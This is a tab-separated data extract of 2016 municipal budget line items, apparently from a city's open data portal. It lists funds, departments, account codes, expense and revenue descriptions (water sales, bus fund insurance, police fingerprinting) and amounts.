18817	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2016	4153	0	0	0	0	0	0	0	0	0	0	0	4153
18818	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2016	475926	0	0	0	0	0	0	0	0	0	0	0	475926
18819	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2016	77877	0	0	0	0	0	0	0	0	0	0	0	77877
18820	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2016	25575	0	0	0	0	0	0	0	0	0	0	0	25575
18821	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2016	194727	0	0	0	0	0	0	0	0	0	0	0	194727
18822	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2016	510000	0	0	0	0	0	0	0	0	0	0	0	510000
18823	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522820.0	CONFERENCES/MEETINGS/TRAVEL	848.0	 Supplies and Expenses	2016	16230	0	0	0	0	0	0	0	0	0	0	0	16230
18824	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511490.0	OVERTIME	816.0	Salaries and Wages	2016	5251	0	0	0	0	0	0	0	0	0	0	0	5251
18825	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	569230.0	INTEREST ON SMURRF LOAN		 Supplies and Expenses	2016	56367	0	0	0	0	0	0	0	0	0	0	0	56367
18826	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT-WISE		 Supplies and Expenses	2016	-600000	0	0	0	0	0	0	0	0	0	0	0	-600000
18827	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	522311.0	DISCOUNTS AVAILABLE	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18828	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2016	1769	0	0	0	0	0	0	0	0	0	0	0	1769
18829	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522180.0	BANK FEES		 Supplies and Expenses	2016	600	0	0	0	0	0	0	0	0	0	0	0	600
18830	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	812.0	 Supplies and Expenses	2016	5110	0	0	0	0	0	0	0	0	0	0	0	5110
18831	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	46833	0	0	0	0	0	0	0	0	0	0	0	46833
18832	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS	908.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18833	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	566970.0	FINGERPRINTING	806.0	 Supplies and Expenses	2016	63240	0	0	0	0	0	0	0	0	0	0	0	63240
18834	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407080.0	30 DAY IMPOUND FEE	612.0	Charges for Service	2016	-107970	0	0	0	0	0	0	0	0	0	0	0	-107970
18835	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555210.0	TRAINING	862.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
18836	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2016	250000	0	0	0	0	0	0	0	0	0	0	0	250000
18837	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402310.0	WATER - COMMERCIAL SALES	650.0	Charges for Service	2016	-21423200	0	0	0	0	0	0	0	0	0	0	0	-21423200
18838	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402360.0	WATER - METER SRVC / INSTALL	650.0	Charges for Service	2016	-316806	0	0	0	0	0	0	0	0	0	0	0	-316806
18839	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400670.0	FIRE PERMITS / FEES	608.0	Licenses and Permits	2016	-752031	0	0	0	0	0	0	0	0	0	0	0	-752031
18840	BA	IS	1	General Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404810.0	REFUSE BINS - STORAGE FEES	612.0	Charges for Service	2016	-71250	0	0	0	0	0	0	0	0	0	0	0	-71250
18841	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588060.0	MOTOR VEHICLES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18842	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	588080.0	OFFICE EQUIPMENT	816.0	 Supplies and Expenses	2016	1558	0	0	0	0	0	0	0	0	0	0	0	1558
18843	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	10046	0	0	0	0	0	0	0	0	0	0	0	10046
18844	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522130.0	UTILITIES - WATER	806.0	 Supplies and Expenses	2016	18247	0	0	0	0	0	0	0	0	0	0	0	18247
18845	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2016	-22780	0	0	0	0	0	0	0	0	0	0	0	-22780
18846	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18847	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2016	5337	0	0	0	0	0	0	0	0	0	0	0	5337
18848	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544010.0	SPEC DEPT SUPPLIES	810.0	 Supplies and Expenses	2016	2077	0	0	0	0	0	0	0	0	0	0	0	2077
18849	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2016	18291	0	0	0	0	0	0	0	0	0	0	0	18291
18850	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566450.0	SEWAGE PUMP PLANT MAINT		 Supplies and Expenses	2016	389385	0	0	0	0	0	0	0	0	0	0	0	389385
18851	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	7788	0	0	0	0	0	0	0	0	0	0	0	7788
18852	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2016	1400	0	0	0	0	0	0	0	0	0	0	0	1400
18853	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566220.0	CONVENTION / VISITORS	816.0	 Supplies and Expenses	2016	2643022	0	0	0	0	0	0	0	0	0	0	0	2643022
18854	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	908.0	 Supplies and Expenses	2016	-74843	0	0	0	0	0	0	0	0	0	0	0	-74843
18855	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578250.0	STORMWATER / WASTEWATER REIMB		 Supplies and Expenses	2016	1170472	0	0	0	0	0	0	0	0	0	0	0	1170472
18856	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522030.0	INVESTIGATION EXPENSES	862.0	 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
18857	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2016	925000	0	0	0	0	0	0	0	0	0	0	0	925000
18858	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	400210.0	CITY CLERK COUNTER FEES	612.0	Charges for Service	2016	-500	0	0	0	0	0	0	0	0	0	0	0	-500
18859	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401340.0	GEN PROM BUS LIC.-DOWNTOWN	622.0	Other	2016	-10150	0	0	0	0	0	0	0	0	0	0	0	-10150
18860	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401350.0	GEN PROM BUS LICENSE MONTANA	622.0	Other	2016	-5350	0	0	0	0	0	0	0	0	0	0	0	-5350
18861	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18862	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	603	SPECIAL SERVICES		CONTRACT SVCS - PARATRANSIT SV		 Supplies and Expenses	2016	665070	0	0	0	0	0	0	0	0	0	0	0	665070
18863	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	910.0	 Supplies and Expenses	2016	1567000	0	0	0	0	0	0	0	0	0	0	0	1567000
18864	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522180.0	BANK FEES		 Supplies and Expenses	2016	7269	0	0	0	0	0	0	0	0	0	0	0	7269
18865	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522180.0	BANK FEES		 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
18866	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522180.0	BANK FEES		 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
18867	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522185.0	BANK FEES-FUND 15	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18868	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	407050.0	GEN PROM BUS LIC - PICO	622.0	Other	2016	-4300	0	0	0	0	0	0	0	0	0	0	0	-4300
18869	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2016	461383	0	0	0	0	0	0	0	0	0	0	0	461383
18870	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2016	1539991	0	0	0	0	0	0	0	0	0	0	0	1539991
18871	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522050.0	MEDICAL EXAMS	862.0	 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
18872	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522060.0	COURT FILING FEES	862.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
18873	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2016	8000000	0	0	0	0	0	0	0	0	0	0	0	8000000
18874	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511749.0	VISION	806.0	Salaries and Wages	2016	448	0	0	0	0	0	0	0	0	0	0	0	448
18875	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	555210.0	TRAINING	862.0	 Supplies and Expenses	2016	120000	0	0	0	0	0	0	0	0	0	0	0	120000
18876	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401540.0	STATE HIGHWAY CLEANING	650.0	Charges for Service	2016	-10800	0	0	0	0	0	0	0	0	0	0	0	-10800
18877	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405020.0	SALE OF REFUSE BAGS	650.0	Charges for Service	2016	-500	0	0	0	0	0	0	0	0	0	0	0	-500
18878	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405080.0	SALE OF MUNICIPAL CODES	612.0	Charges for Service	2016	-200	0	0	0	0	0	0	0	0	0	0	0	-200
18879	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18880	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401030.0	HAZ MAT RESPONSE RECOVERY	622.0	Other	2016	-2000	0	0	0	0	0	0	0	0	0	0	0	-2000
18881	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400690.0	PLAN CHECK FEES-ENGINEERING	612.0	Charges for Service	2016	-412250	0	0	0	0	0	0	0	0	0	0	0	-412250
18882	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	50490	0	0	0	0	0	0	0	0	0	0	0	50490
18883	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2016	1018218	0	0	0	0	0	0	0	0	0	0	0	1018218
18884	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2016	-2086093	0	0	0	0	0	0	0	0	0	0	0	-2086093
18885	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402350.0	WATER - MISC NON-OPERATING	662.0	Other	2016	-316806	0	0	0	0	0	0	0	0	0	0	0	-316806
18886	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402370.0	REIMB FROM OTHER FUNDS	650.0	Charges for Service	2016	-431080	0	0	0	0	0	0	0	0	0	0	0	-431080
18887	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-375000	0	0	0	0	0	0	0	0	0	0	0	-375000
18888	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404800.0	WATER DEMAND MITIGATION FEE	650.0	Charges for Service	2016	-300000	0	0	0	0	0	0	0	0	0	0	0	-300000
18889	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405930.0	TRANSFER STATION - CITY DEPTS	650.0	Charges for Service	2016	-278600	0	0	0	0	0	0	0	0	0	0	0	-278600
18890	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402210.0	MAUSOLEUM SALES	650.0	Charges for Service	2016	-117786	0	0	0	0	0	0	0	0	0	0	0	-117786
18891	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2016	5296	0	0	0	0	0	0	0	0	0	0	0	5296
18892	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400770.0	LEASE RENTAL REVENUE	618.0	Rentals	2016	-4011825	0	0	0	0	0	0	0	0	0	0	0	-4011825
18893	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566631.0	SMURRF PLANT MAINTENANCE		 Supplies and Expenses	2016	441303	0	0	0	0	0	0	0	0	0	0	0	441303
18894	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTEWATER	407150.0	SALE OF RECYCLED WATER	650.0	Charges for Service	2016	-200000	0	0	0	0	0	0	0	0	0	0	0	-200000
18895	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2016	4748781	0	0	0	0	0	0	0	0	0	0	0	4748781
18896	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	22395	0	0	0	0	0	0	0	0	0	0	0	22395
18897	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2016	59719	0	0	0	0	0	0	0	0	0	0	0	59719
18898	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544115.0	FARE MEDIA		 Supplies and Expenses	2016	25000	0	0	0	0	0	0	0	0	0	0	0	25000
18899	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402650.0	NON-TRANSP REV-OPER	662.0	Other	2016	-26663	0	0	0	0	0	0	0	0	0	0	0	-26663
18900	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	403010.0	OPERATING INTEREST - CITY	659.0	Investment Income	2016	-78299	0	0	0	0	0	0	0	0	0	0	0	-78299
18901	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522950.0	CNG FUEL		 Supplies and Expenses	2016	354000	0	0	0	0	0	0	0	0	0	0	0	354000
18902	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	26176	0	0	0	0	0	0	0	0	0	0	0	26176
18903	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544390.0	OTHER COSTS	806.0	 Supplies and Expenses	2016	57504	0	0	0	0	0	0	0	0	0	0	0	57504
18904	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522180.0	BANK FEES		 Supplies and Expenses	2016	15575	0	0	0	0	0	0	0	0	0	0	0	15575
18905	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522180.0	BANK FEES		 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
18906	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2016	17434	0	0	0	0	0	0	0	0	0	0	0	17434
18907	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2016	38490	0	0	0	0	0	0	0	0	0	0	0	38490
18908	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	400191.0	STREET PERFORMERS PERMIT	608.0	Licenses and Permits	2016	-47000	0	0	0	0	0	0	0	0	0	0	0	-47000
18909	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	1468	0	0	0	0	0	0	0	0	0	0	0	1468
18910	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533080.0	MARTIN LUTHER KING DAY	810.0	 Supplies and Expenses	2016	8199	0	0	0	0	0	0	0	0	0	0	0	8199
18911	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2016	124	0	0	0	0	0	0	0	0	0	0	0	124
18912	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522950.0	CNG FUEL	812.0	 Supplies and Expenses	2016	1302	0	0	0	0	0	0	0	0	0	0	0	1302
18913	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404680.0	HMRRP FEES	612.0	Charges for Service	2016	-176212	0	0	0	0	0	0	0	0	0	0	0	-176212
18914	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	405060.0	ENGINEERING COUNTER SALES	612.0	Charges for Service	2016	-6816	0	0	0	0	0	0	0	0	0	0	0	-6816
18915	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2016	2022	0	0	0	0	0	0	0	0	0	0	0	2022
18916	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	5503	0	0	0	0	0	0	0	0	0	0	0	5503
18917	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544040.0	BOOKS/PAMPHLETS	816.0	 Supplies and Expenses	2016	52	0	0	0	0	0	0	0	0	0	0	0	52
18918	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2016	47767	0	0	0	0	0	0	0	0	0	0	0	47767
18919	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2016	5633	0	0	0	0	0	0	0	0	0	0	0	5633
18920	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577230.0	FISCAL AGENT FEES		 Supplies and Expenses	2016	5451	0	0	0	0	0	0	0	0	0	0	0	5451
18921	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522100.0	EXPERT WITNESS COSTS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18922	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FUND REIMB FROM PIER FUND	908.0	 Supplies and Expenses	2016	-197842	0	0	0	0	0	0	0	0	0	0	0	-197842
18923	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2016	-461383	0	0	0	0	0	0	0	0	0	0	0	-461383
18924	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	30202	0	0	0	0	0	0	0	0	0	0	0	30202
18925	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2016	28	0	0	0	0	0	0	0	0	0	0	0	28
18926	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	577065.0	MEMBERSHIP FEES		 Supplies and Expenses	2016	1415	0	0	0	0	0	0	0	0	0	0	0	1415
18927	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2016	663389	0	0	0	0	0	0	0	0	0	0	0	663389
18928	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2016	4800	0	0	0	0	0	0	0	0	0	0	0	4800
18929	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2016	11000	0	0	0	0	0	0	0	0	0	0	0	11000
18930	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2016	4693545	0	0	0	0	0	0	0	0	0	0	0	4693545
18931	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2016	110800	0	0	0	0	0	0	0	0	0	0	0	110800
18932	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	11036	0	0	0	0	0	0	0	0	0	0	0	11036
18933	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18934	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2016	28503	0	0	0	0	0	0	0	0	0	0	0	28503
18935	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522950.0	CNG FUEL		 Supplies and Expenses	2016	3712	0	0	0	0	0	0	0	0	0	0	0	3712
18936	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2016	23100	0	0	0	0	0	0	0	0	0	0	0	23100
18937	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2016	20900	0	0	0	0	0	0	0	0	0	0	0	20900
18938	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2016	25331	0	0	0	0	0	0	0	0	0	0	0	25331
18939	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC	910.0	 Supplies and Expenses	2016	32638	0	0	0	0	0	0	0	0	0	0	0	32638
18940	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
18941	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402220.0	CEMETERY MISC SALES / SERVICES	650.0	Charges for Service	2016	-262638	0	0	0	0	0	0	0	0	0	0	0	-262638
18942	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401330.0	MALL / DOWNTOWN MAINT DISTRICT	622.0	Other	2016	-16000	0	0	0	0	0	0	0	0	0	0	0	-16000
18943	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404590.0	SUBDIVISION MAP FEES	612.0	Charges for Service	2016	-11695	0	0	0	0	0	0	0	0	0	0	0	-11695
18944	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401600.0	LIBRARY FINES	614.0	Fines and Forfeitures	2016	-250000	0	0	0	0	0	0	0	0	0	0	0	-250000
18945	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	520000.0	SUPPLIES AND EXPENSES	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18946	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533220.0	BLDG / STRUCTURE MAINTENANCE	806.0	 Supplies and Expenses	2016	16109	0	0	0	0	0	0	0	0	0	0	0	16109
18947	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544010.0	SPEC DEPT SUPPLIES	816.0	 Supplies and Expenses	2016	28587	0	0	0	0	0	0	0	0	0	0	0	28587
18948	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2016	364	0	0	0	0	0	0	0	0	0	0	0	364
18949	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511250.0	STANDBY PAY	806.0	Salaries and Wages	2016	32870	0	0	0	0	0	0	0	0	0	0	0	32870
